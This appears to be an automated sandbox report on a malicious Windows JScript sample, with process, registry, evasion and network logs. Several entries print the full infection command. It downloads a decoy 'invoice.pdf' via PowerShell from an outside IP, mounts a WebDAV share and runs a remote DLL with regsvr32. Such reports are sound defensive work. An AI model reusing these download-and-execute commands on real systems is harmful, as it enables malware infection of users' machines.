Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9191.js.csv");ITextStream.WriteLine(" entry:8289 f:rtuxyhry");ITextStream.WriteLine(" exec:2 f:rtuxyhry");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49777

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4776			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4664			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep count: 4776 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep count: 4664 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7772	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7956	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7188	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1424630786.0000019C4F208000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@%'O
Source: net.exe, 00000007.00000002.1424630786.0000019C4F26F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2655338582.000001BA5CC58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2654161751.000001BA5762B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
